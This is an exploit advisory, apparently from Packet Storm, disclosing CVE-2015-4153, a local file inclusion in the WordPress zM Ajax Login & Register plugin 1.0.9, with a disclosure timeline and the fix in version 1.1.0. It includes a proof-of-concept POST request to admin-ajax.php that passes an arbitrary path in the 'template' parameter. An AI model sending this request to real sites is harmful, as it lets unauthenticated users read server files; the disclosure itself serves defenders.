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HistoryJun 05, 2015 - 12:00 a.m.

WordPress zM Ajax Login Register 1.0.9 Local File Inclusion

2015-06-0500:00:00
panVagenas
packetstormsecurity.com
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0.083 Low

EPSS

Percentile

93.7%

`# Exploit Title: CVE-2015-4153 - WordPress zM Ajax Login & Register Plugin [Local File Inclusion]  
# Date: 2015/06/01  
# Exploit Author: Panagiotis Vagenas  
# Contact: https://twitter.com/panVagenas  
# Vendor Homepage: http://zanematthew.com/  
# Software Link: https://downloads.wordpress.org/plugin/zm-ajax-login-register.1.0.9.zip  
# Version: 1.0.9  
# Tested on: WordPress 4.2.2  
# Category: webapps  
# CVE: CVE-2015-4153  
  
* Description  
  
Any authenticated or non-authenticated user can perform a local file inclusion attack by exploiting the wp_ajax_nopriv_load_template action. Plugin simply includes the file specified in 'template' POST parameter without any further validation.  
  
* Proof of Concept  
  
Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: `action=load_template&template=[relative path to local file]&security=[wp nonce]&referer=[action from which the nonce came from]`  
  
* Timeline  
  
2015/06/01 Discovered  
2015/06/01 Vendor alerted via contact form at his website  
2015/06/03 Vendor responded  
2015/06/03 Fixed in version 1.1.0  
  
  
* Solution   
  
Update to version 1.1.0  
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0.083 Low

EPSS

Percentile

93.7%

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